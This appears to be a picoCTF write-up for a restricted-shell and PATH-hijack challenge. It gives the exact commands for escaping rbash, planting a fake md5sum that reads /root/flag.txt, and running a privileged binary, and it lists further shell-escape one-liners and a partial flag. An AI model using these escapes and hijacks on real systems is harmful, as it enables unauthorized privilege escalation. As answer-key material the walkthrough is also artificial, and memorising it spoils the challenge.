Description
The second flaghasher binary lives in /usr/local/bin and still shells out to md5sum. Escape the restricted shell, drop a fake md5sum earlier in PATH, and cat the flag.
Setup
SSH to rescued-float.picoctf.net -p 49568 (password f3b61b38).
Confirm the login shell is restricted (try cd /tmp - it should fail), then type bash (not exec bash) to drop into an unrestricted shell while keeping the SSH session alive.
Check the common location first: ls -la /usr/local/bin/flaghasher. Falling back to a whole-FS find is slower and rarely necessary.
ssh -p 49568 ctf-player@rescued-float.picoctf.netecho $SHELLls -la /usr/local/bin/flaghasher # check the obvious location firstbash # drop into unrestricted bash (NOT exec bash)strings /usr/local/bin/flaghasher | grep md5sumcd /tmp && echo '/bin/cat /root/flag.txt' > md5sum && chmod +x md5sumexport PATH=.:$PATH && /usr/local/bin/flaghasherSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Escape rbash restrictionsObservationI noticed thatcd /tmpfailed immediately after login, which is a hallmark of restricted bash (rbash), suggesting I needed to spawn an unrestricted child shell before any PATH manipulation or file writes would be possible.The login shell is restricted (rbash blockscd,PATH=edits, and slashes in commands). Type plainbash- notexec bash- so the unrestricted shell runs as a child of your SSH session; if anything in it crashes, the SSH session keeps you connected. Thencd /tmpto land in a writable directory.bash# In rbash, this fails: cd /tmp # Escape (type bash, NOT exec bash): bash cd /tmpWhat didn't work first
Tried: Run
exec bashinstead of plainbashto escape rbash.exec bashreplaces the current shell process rather than spawning a child. If the new bash session exits or crashes for any reason, the SSH connection drops immediately with no fallback. Using plainbashkeeps rbash alive as the parent, so the session survives an accidental exit. The command result is otherwise the same, but the risk to connectivity is real during an exam or timed CTF.Tried: Try
python3 -c 'import pty; pty.spawn("/bin/bash")'orvim :shellto escape rbash before checking whether plainbashis allowed.Those escapes work when
bashitself is blocked by the restricted shell's allowed-command list. On this instancebashis not blocked, so running it directly is the simplest and most reliable path. The Python or vim route adds unnecessary complexity and may itself be blocked; always try the most direct escape first.Learn more
Restricted bash (rbash) is a hardened shell mode that prevents users from changing directories with
cd, modifyingPATH, redirecting output, or running commands with slashes in them. System administrators use it to lock down SSH accounts to a narrow set of approved commands.The classic escape is to invoke a full shell binary directly. If
bashorshis accessible, running it without the-rflag drops you into an unrestricted session. Other escapes include launching a text editor (vim's:shellcommand), using scripting interpreters (python3 -c 'import pty; pty.spawn("/bin/bash")'), or abusing allowed programs that themselves spawn shells (likemanwith!/bin/sh).In real-world penetration testing, restricted shells come up frequently after gaining initial SSH access to a locked-down account. Escaping rbash is one of the first post-exploitation steps and is covered extensively in OSCP and other security certifications.
Step 2
Hijack md5sum againObservationI noticed thatstrings /usr/local/bin/flaghashershowed a baremd5sumcall with no absolute path, which confirmed the same PATH-hijack vector from hash-only-1 and suggested dropping a fakemd5sumearlier in PATH to redirect execution to/bin/cat /root/flag.txt.Same PATH-hijack technique as hash-only-1 - only the binary's path and the restricted login shell differ here. Write a one-linemd5sumthat cats/root/flag.txt, prove it works standalone before invoking flaghasher, and never include anymd5suminvocation inside the fake (the hijacked PATH would resolve back to itself and infinite-loop).bashecho '/bin/cat /root/flag.txt' > md5sumbashchmod +x md5sumbashexport PATH=.:$PATHbash./md5sum # validate: should print the flag standalonebash/usr/local/bin/flaghasherExpected output
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}What didn't work first
Tried: Write the fake
md5sumas#!/bin/sh md5sum /root/flag.txtto try to hash the flag directly.Calling
md5suminside the fake script creates an infinite loop: flaghasher calls your fake md5sum, your fake md5sum callsmd5sumagain, which resolves back to your fake because.is still first in PATH. The script recurses until it hits a process limit and crashes with a fork error. The correct fake must use an absolute path like/bin/catthat is not itself hijacked.Tried: Set PATH with
PATH=/tmp:$PATHand write the fake to/tmp/md5sumwhile still in rbash, before runningbashto escape.rbash blocks
PATH=assignments entirely - attempting it printsrbash: PATH: readonly variable. The PATH export must happen after escaping to an unrestricted shell. Additionally,/tmpmust already exist and be writable, while the current directory (.) approach works from any writable directory including/tmponce you are there.Learn more
PATH hijacking exploits how Unix-like systems resolve command names. When a program calls
system("md5sum")orexec("md5sum")without an absolute path, the OS searches each directory inPATHleft-to-right and runs the first match it finds.By prepending
.(the current directory) toPATHand dropping a malicious script namedmd5sumthere, you guarantee the OS runs your script instead of/usr/bin/md5sum. Your script can do anything the process's effective user can do - in this case, reading/root/flag.txt. This is the same attack that makessudounsafe when.appears in a root user'sPATH.Real-world mitigations include using absolute paths in all
system()andexec()calls, auditingPATHin privileged scripts with tools likeshellcheck, and applying the principle of least privilege so the target binary never runs with elevated permissions. CVE databases are full of PATH hijacking vulnerabilities in commercial software.
Interactive tools
- Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.
Flag
Reveal flag
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}
Any equivalent fake `md5sum` works as long as it doesn't invoke another `md5sum` and `.` stays first in PATH.